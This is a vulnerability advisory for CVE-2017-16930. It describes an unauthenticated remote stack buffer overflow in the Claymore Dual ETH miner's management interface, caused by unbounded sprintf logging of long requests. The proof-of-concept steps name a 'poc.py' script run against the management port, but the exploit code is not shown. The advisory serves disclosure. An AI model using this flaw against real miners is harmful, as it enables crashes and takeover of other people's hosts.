  CVE:            CVE-2017-16930



Description
---------

A specialized mining solution with remote management interface for mining
ethereum / decred / siacoin / LBRY Credits /
pascal coin.

quote website [1][2]

  - Supports new "dual mining" mode: mining both Ethereum and
Decred/Siacoin/Lbry/Pascal at the same time, with no impact on Ethereum
mining speed. Ethereum-only mining mode is supported as well.
  - Effective Ethereum mining speed is higher by 3-5% because of a
completely different miner code - much less invalid and outdated shares,
higher GPU load, optimized OpenCL code, optimized assembler kernels.
  - Supports both AMD and nVidia cards, even mixed.
  - No DAG files.
  - Supports all Stratum versions for Ethereum: can be used directly without
any proxies with all pools that support eth-proxy, qtminer or miner-proxy.
  - Supports Ethereum and Siacoin solo mining.
  - Supports both HTTP and Stratum for Decred.
  - Supports both HTTP and Stratum for Siacoin. Note: not all Stratum
versions are supported currently for Siacoin.
  - Supports Stratum for Lbry and Pascal.
  - Supports failover.
  - Displays detailed mining information and hashrate for every card.
  - Supports remote monitoring and management.
  - Supports GPU selection, built-in GPU overclocking features and
temperature management.
  - Supports Ethereum forks (Expanse, etc).
  - Windows and Linux versions.

Summary
-------

Claymore's Dual ETH miner's remote management interface is prone to an
unauthenticated remote stack buffer overwrite that
can be triggered by simply sending an overly long api request to the
management interface resulting in an unbound
`(v)sprintf` style buffer overwrite when trying to log to file or console.


* unauthenticated
* remote
* stack buffer overwrite

conditions:
* remote management must be enabled: -mport <port>
* also works in read-only mode (-<port>)

Successful exploitation can be turned into:
* DoS - taking profit from crashing the miner
* RCE - execute arbitrary code, silently take over the mining node or host
system.

See PoC ref github.

EthDcrMiner64 comes with an optional http/tcp based remote management
interface that can be enabled by providing
`-mport <[-]port>` as a command line argument. Providing a negative port
starts the remote management interface in
readonly mode. The remote management interfaces request handler checks for a
list of known commands (see Remote
Management API overview). Commands are being logged to file. When the
handler encounters an invalid command a logline
like `log(level, "Remote management: unknown command %s\n", request)` is
being emitted. This method internally calls
`sprintf` multiple times writing to a fixed size buffer of `0x4000` (16384)
bytes. Any attempt to log more than `0x4000`
bytes us causing a stack buffer overwrite. There's likely multiple
occurrences of the same bug within this software.

//see PoC vector: method, extrafield, psw

See PoC ref github.

Proof of Concept
----------------

Prerequisites:
* compatible AMD/NVidia hardware


RCE:

1. start the miner, specify any pool and the readonly management port 3333
with a management password 123456


#> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport -3333

Total cards: 1

    2. wait for it to initialize
    3. run `poc.py --vector=method localhost:3333` (using the "method"
vector)
